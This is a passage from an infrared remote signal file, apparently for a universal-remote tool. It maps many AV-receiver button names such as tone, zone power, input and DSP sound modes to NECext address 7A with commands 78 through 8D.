+# +name: TONE_BASS_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 78 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 78 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 78 00 00 00 +# +name: Z3:_TREBLE_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 79 00 00 00 +# +name: Z3:_TREBLE_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 79 00 00 00 +# +name: TONE_TREBLE_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 79 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 79 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 79 00 00 00 +# +name: Z3:_TREBLE_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7A 00 00 00 +# +name: Z3:_TREBLE_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7A 00 00 00 +# +name: TONE_TREBLE_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7A 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7A 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7A 00 00 00 +# +name: Z4:_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7B 00 00 00 +# +name: Z4:_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7B 00 00 00 +# +name: Z4:_POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7C 00 00 00 +# +name: Z4:_STANDBY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7C 00 00 00 +# +name: Z4:_STANDBY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7C 00 00 00 +# +name: Z4:_INP_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7D 00 00 00 +# +name: Z4_INP:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7D 00 00 00 +# +name: Z4_INP:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7D 00 00 00 +# +name: Z4:_INP_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7E 00 00 00 +# +name: Z4_INP:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7E 00 00 00 +# +name: Z4_INP:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7E 00 00 00 +# +name: Z4:_INP_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7F 00 00 00 +# +name: Z4_INP:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7F 00 00 00 +# +name: Z4_INP:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 7F 00 00 00 +# +name: FRONT_LEVEL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 80 00 00 00 +# +name: FRONT_LEVEL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 81 00 00 00 +# +name: CENTER_LEVEL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 82 00 00 00 +# +name: CENTER_LEVEL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 83 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: MENU_SET_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: MENU:_SET_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: GUI:_SET_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: SETUP_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: SET_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: MENU_SETUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: DSP_CENTER_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: MZ:_MENU_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: PARAMETER_TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: TEST_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: PARAMETER:_TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: SET_MENU_TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: DSP_TOG:_TEST_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: TEST_TONE_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: TEST_TONE_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: SET_MENU_RTRN/TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: DSP_TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: DSP_LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: PARAMETER_LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: PARAMETER:_LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: MZ:_LEVEL_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: LEVEL_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: SET_MENU_LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: DSP_TOG:_EFFECT_LEVL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: SPEAKER_LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: SETUP_LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: PARAMETER:_SPKR_LEVL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: DSP:_LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: DSP_LEVEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: MZ:_SET_LEVEL_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 86 00 00 00 +# +name: EXTERNAL_DECODER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: 6CH_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MULTI_CH_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: INPUT_MULTI_CH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: 6CH._INPUT_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: 6_CH._INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: 6_CH_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MULTI_IN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MZ:_EXT_INP_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MZ:_MULTI-CH_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MULTICH_IN_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: EXT._DEC. +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: EXT.DEC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MULTI_CH_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MULTI-CH_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: INP_MULTI_CH_IN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MULTI_CH_IN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MULTI_CHANNEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MULTI-CHANNEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: INPUT:_MULTI-CHANNEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MAIN:_EXT_INPUT_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MULTI_CH_IN_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: INPUT_MULTI_CH_IN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: ?MZ:_INP_MULTCH_DIR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MZ:_M.CH_IN_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MZ_INP:_MULTI_CH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MZ_INP:_MULTI_CH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 87 00 00 00 +# +name: MODE_PROLOGIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_CLASSICAL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_MUSIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: HALL_1_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: HALL_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_CONCERT_HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: 1_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_TOG:_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: PRO-LOGIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_DD/PRO_LOGIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_CONCERT_HALL_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP:_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSPTOG:_CLASSICAL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_TOG:_CLASSICAL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_TOG_CLASSICAL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_CNCT_HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_TOG:_HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP:_CLASSICAL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_STEREO_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: PROGRAM_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DOLBY_SURROUND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_PRO_LOGIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: CLASSICAL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DIG._PRO-LOGIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: CONCERT_HALL_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP:_T_CLASSICAL1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSPTOG:_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: MODE_MOVIE-1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_LIVE/CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_MUSIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: HALL_2_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: HALL_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: CHURCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_CHURCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: 2_HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_TOG:_HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_TOG:_MUSIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_ENHANCED +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_CONCERT_HALL_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSPTOG:_LIVE/CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_TOG:_LIVE/CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_TOG_LIVE/CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: ENHANCED +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_TOG:_JAZZ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP:_LIVE/CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_MUSIC_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: PROGRAM_MUSIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_PRO_LOGIC_ENH. +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: PRO-LOGIC_ENHANCED +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: CONCERT_HALL_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP:_T_CLASSICAL2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSPTOG:_HALL_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: MODE_MOVIE-2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: ROCK_CONCERT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: JAZZ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_ENTERTAINMENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: CHURCH_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: CHURCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: 3_JAZZ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_TOG:_JAZZ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_TOG:_ENTERTAIN. +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_THEATER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_CHURCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_TOG:_CHURCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSPTOG:_ENTERTAIN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_TOG_ENTERTAIN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: ENTERTAIN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: MOVIE_THEATER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_TOG:_ROCKCONCERT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: ENTERTAINMENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP:_ENTERTAINMENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_ENTERTAIN_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_CONCERT_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: MOVIE_THEATRE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP:_T_LIVE/CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: CHUCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSPTOG:_HALL_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: MODE_MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: ENTERTAINMENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: JAZZ_CLUB_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: JAZZ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: ROCK_CONCERT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_ROCK_CONCERT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: 4_ROCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_TOG:_ROCKCONCERT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_TOG:_ROCK_CNCRT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_TOG:_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_TV_SPORTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_TOG:_JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSPTOG:_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_TOG_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_FIVE_CH_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_TOG:_ENTERTNMNT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP:_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_TOG:_ROCK_CONCRT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_MOVIE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: TV_SPORTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP:_T_ENTERTAINME +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSPTOG:_CHURCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: MODE_TV-SPORTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: TV_SPORTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: ENTERTAIN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: ROCK_CONCERT_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: ROCK_CONCERT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: ENTERTAINMENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_ENTERTAINMENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: 5_ENTITAIN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_TOG:_ENTERTNMNT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_TOG:_ENTERTAIN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_TOG:_THX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_ROCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_ROCK_CONCERT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_TOG:_ROCKCONCERT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSPTOG:_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_TOG:_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_TOG_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_TV_SPORTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_TOG:_MUSIC_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP:_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_TOG:_MUSIC_VID +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_ROCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP:_T_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSPTOG:_JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: MODE_DISCO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_SUR._DECODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_SURR._DECODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: ENTERTAINMENT_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: ENTERTAINMENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: STADIUM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: TV_SPORTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_MUSIC_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: 6_MUSIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_TOG:_MUSIC_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_TOG:_STANDARD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: PRO_LOGIC +type: parsed 